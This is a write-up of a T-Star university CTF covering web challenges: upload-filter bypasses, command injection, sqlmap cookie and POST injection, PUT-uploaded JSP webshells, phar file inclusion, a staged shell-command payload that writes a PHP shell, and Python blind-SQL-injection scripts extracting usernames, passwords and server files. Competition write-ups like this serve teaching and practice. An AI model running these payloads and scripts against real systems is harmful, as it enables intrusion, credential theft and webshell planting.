T-Star University Challenge Writeup

Summary1. File-upload JavaScript bypass: change the extension to bypass client-side validation. 2. Basic command execution: append a pipe and a command. 3. Can you brute-force it? The hint points to cookie injection. The captured username is Base64-encoded, so save the request to 1.txt and use SQLmap's Base64 tamper script: python2 sqlmap.py…

WriteUpCTFT-Star

1. File-Upload JavaScript Bypass

1.png

This beginner challenge only requires changing the extension to bypass client-side validation.

###2. Basic Command Execution

2.png

This beginner challenge only requires appending a pipe and a command.

###3. Can You Brute-Force It?

3.png

The hint points to cookie injection. The captured request shows that the username field is Base64-encoded, so save it as 1.txt.

HTTP
GET /index.php HTTP/1.1
Host: 1d955b93.yunyansec.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: uname=YWRtaW4%3D *
Connection: close

Use SQLmap's Base64 tamper script to perform the injection.

python2 sqlmap.py -r 1.txt --tamper base64encode.py -D security -T flag -C flag --dump

4.png

###4. File Upload

Testing reveals these restrictions:

1. Content checks for values such as:<?evaland similar values.

2. File-header validation.

3. File-size validation, apparently requiring more than 20 KB.

4. Extension bypass.

The restrictions above can be bypassed as follows:

1 → Bypass with duplicate encoding.

2 → Add an image header.

3 → Pad the file with junk data.

4 → Try pHp, phP, phpphp, php3, php4, php5, php7, pht, phtml, phar, phps, and similar extensions. Several bypass validation but are not parsed. The pht extension both bypasses validation and executes successfully.

The result is shown below.

5.png

Connect with AntSword.

6.png

###5. File Inclusion to Shell

Compress a.php as a ZIP file, rename it a.txt, and upload it.

Then pass it to lfi.php.

/lfi.php?phar://files/HaAm0y7gI99YVuRs.txt/a

works. I did not record the details at the time, and the environment is now unavailable for reproduction.

###6. Report Card

Capture the request and save it as 2.txt.

HTTP
POST /index.php HTTP/1.1
Host: 7bd5ca8d.yunyansec.com
Content-Length: 4
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://7bd5ca8d.yunyansec.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36
Referer: http://7bd5ca8d.yunyansec.com/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close

id=1 *

Feed it directly to SQLmap:

7.png
8.png

###7. Kitten Steps on the Light Bulb

9.png

The hint gives it away: upload a one-line webshell with PUT, as shown below:

10.png

After uploading, visit abc.jsp directly to execute commands.

###8. Read the Code to Obtain the Flag

Similar challenges exist online, but their scripts need modification.

Testing showed that online scripts scramble the order of generated filenames. Because index.php is included, they cannot produce 1.php correctly.

First generate a file named j containing the commandls -t >g. Finally execute file g to achieve the desired result.

payload.txt

SHELL
>\>g
>-t\\
>s\ \\
>l\\
ls>j
ls>>j
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh j
sh g

attack.py

PYTHON
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://e52e40fa.yunyansec.com/?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
	for i in f:
		print("[*]" + url.format(i.strip()))
		requests.get(url.format(i.strip()))

# check whether the attack succeeded
test = requests.get("http://e52e40fa.yunyansec.com/1.php")
if test.status_code == requests.codes.ok:
	print("[*]Attack success!!!")

11.png

After the competition, I saw an even more ingenious solution from another researcher. First,>catCreate a cat file, then use*%20../*Reading the key directly is a clever shortcut.

12.png
13.png

The principle is to take the previously written catfile as a command and executes it.

*%20../* ----> cat%20../*

9、SQL2

Intended Solution

Capturing an image upload reveals:

14.png

This confirms the injection point.

Scanning for backup files revealswwwroot.zipfile, which is extracted asfunction.php

PHP
<?php
function SQL_DETECT($PictureId){
	$a0=urldecode('%a0');
	$PictureId=str_replace('\d', '', $PictureId);
	$PictureId=str_replace($a0, '', $PictureId);
	$PictureId=str_replace('\/\*.*?\*\/', '', $PictureId);
	if(preg_match('/union|order.*by|and|\dor\d|\|\||sleep|BENCHMARK|substr|ascii|select|mid|right|left|right|substring|substring_index|INSTR|LOCATE/i', $PictureId)){

		$PictureId='1';

	}
	return $PictureId;
}
>

Many keywords are filtered and no bypass was found.

So find another function to replace it.

Testing shows that it filters||, but it does not filter|, so use|andifto infer the database name:

SQL
http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(database(),1,'')='w',1,null) %23

If the first character of the database name is w, the page should return normally; otherwise it returnsPicture not found!

As shown below:

15.png
16.png
17.png

Testing ultimately reveals the database name:waf

Then infer the fields that exist:

SQL
http://192.168.159.170/sql/Picture.php?id=0" | if(ord(password),1,null) %23

If the password field exists, the page returns normally.

18.png

This produces the following fields:usernamepasswordidpicture

Continue guessing the username and password fields:

SQL
http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(username,1,'')='a',1,null) %23
SQL
http://192.168.159.170/sql/Picture.php?id=0" | if(lpad(password,1,'')='5',1,null) %23

The complete script is:

PYTHON
#!/usr/bin/env python
#encoding=utf8

import requests

url = "http://192.168.159.170/sql/"
path = "picture.php?id=0"

arr =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']

password = ""

# determine the length of the username
def found_username_length():
	for i in range(1,15):
		payload_username_length = "\" | if(length(username)='" + str(i) + "',1,null) %23'"
		get_username_url_length = url + path +payload_username_length
		res = requests.get(get_username_url_length)
		if("PNG" in res.text):
			length = i
			return length

# determine the length of the password
def found_password_length():
	for i in range(1,33):
		payload_password_length = "\" | if(length(password)='" + str(i) + "',1,null) %23'"
		get_password_url_length = url + path + payload_password_length
		res = requests.get(get_password_url_length)
		if("PNG" in res.text):
			length = i
			return length

# retrieve the username
def found_username():
	username = ""
	user_fuzz = ""
	username_length = found_username_length()
	for i in range(1,username_length+1):
		for j in arr:
			user_fuzz = username + j
			#print username
			payload_username = "\" | if(rpad(username," + str(i) + ",'')='" + user_fuzz + "',1,null) %23'"
			get_username_url = url + path + payload_username
			res = requests.get(get_username_url)
			if("PNG" in res.text):
				if (i < username_length+1):
					username = username + j
					break
		print "username is fuzzing...Please waiting:" + username[:username_length]
	print "Success! The username is :" + username[:username_length]


# retrieve the password
def found_password():
	password = ""
	pass_fuzz = ""
	password_length = found_password_length()
	for i in range(1,password_length+1):
		for j in arr:
			pass_fuzz = password + j
			#print password
			payload_password = "\" | if(rpad(password," + str(i) + ",'')='" + pass_fuzz + "',1,null) %23'"
			get_password_url = url + path + payload_password
			res = requests.get(get_password_url)
			if("PNG" in res.text):
				if (i < password_length+1):
					password = password + j
					break
		print "password is fuzzing... Please waiting:" + password[:password_length]
	print "Success! The password is :" + password[:password_length]


if __name__ == '__main__':
	found_username()
	found_password()

The result is:

19.png

The result is 20 characters long, but somd5 still recovers the plaintext:

20.png

Sign in to obtain the flag.

21.png

Unintended Solution

During early testing, I did not expect that it could directly useord(password)in this form to infer table names. Because the table name is unknown, use load_file to read the file:

SQL
http://192.168.159.170/sql/picture.php?id=1"^if(hex(load_file('/var/www/html/index.php'))<"40",1,0)%23

A teammate provided the following script:

PYTHON
#!/usr/bin/env python
# encoding=utf8
import requests
import time

url = "http://199e855b.yunyansec.com/"
path = "picture.php?id="
payloadL = '1"^if(hex({sql})>"{data}",1,0)%23'
payloadR = '1"^if(hex({sql})<"{data}",1,0)%23'
# payload = '1"^if(lpad(bin({sql}),1,"")="{data}",1,0)'
def str2hex(i):
 return hex(ord(i))[2:].zfill(2)

def save(text):
 f = open("tmp.txt","w")
 f.write(text)
 f.close()

def runL(sql,data):
 url_tmp = url+path+payloadL
 url_tmp = url_tmp.format(sql=sql,data=data)
 # print(url_tmp)
 res = requests.get(url_tmp)
 if("PNG" not in res.text):
  return True
 return False

def runR(sql,data):
 url_tmp = url+path+payloadR
 url_tmp = url_tmp.format(sql=sql,data=data)
 # print(url_tmp)
 res = requests.get(url_tmp)
 if("PNG" not in res.text):
  return True
 return False

def binary_search(data):
    global sql
    left = 0
    right = 128
    while left <= right:   # loop condition
        mid = (left + right) // 2   # take the middle index (the sequence must already be sorted)
        mid_data = hex(mid)[2:].zfill(2)
        if runR(sql,data+mid_data):  # if the target is smaller than the middle value, search the left half,
            right = mid - 1   # after moving left, set the right boundary to mid-1
        elif runL(sql,data+mid_data):   # if the target is larger than the middle value, search the right half
            left = mid + 1    # after moving right, set the left boundary to mid+1
        else:
            return chr(right)  # if the target equals the middle value, return its index
    if(right==-1):
     right==0
    return chr(right)  # if the loop ends with left past right, the value was not found

sql = "load_file('/var/www/html/login.php')"

data=""
str_data=""
while(1):
 raw_data = binary_search(data)
 str_data = str_data + raw_data
 data += str2hex(raw_data)
 save(data+"\n"+str_data)
 print(str_data)

Result:

22.png

Reading the output took three hours because the organizers' server failed once and forced a restart. By the time it finished, the competition was over.

10、SQL1

A researcher in the group used INTO OUTFILE to write a shell.

WechatIMG486.png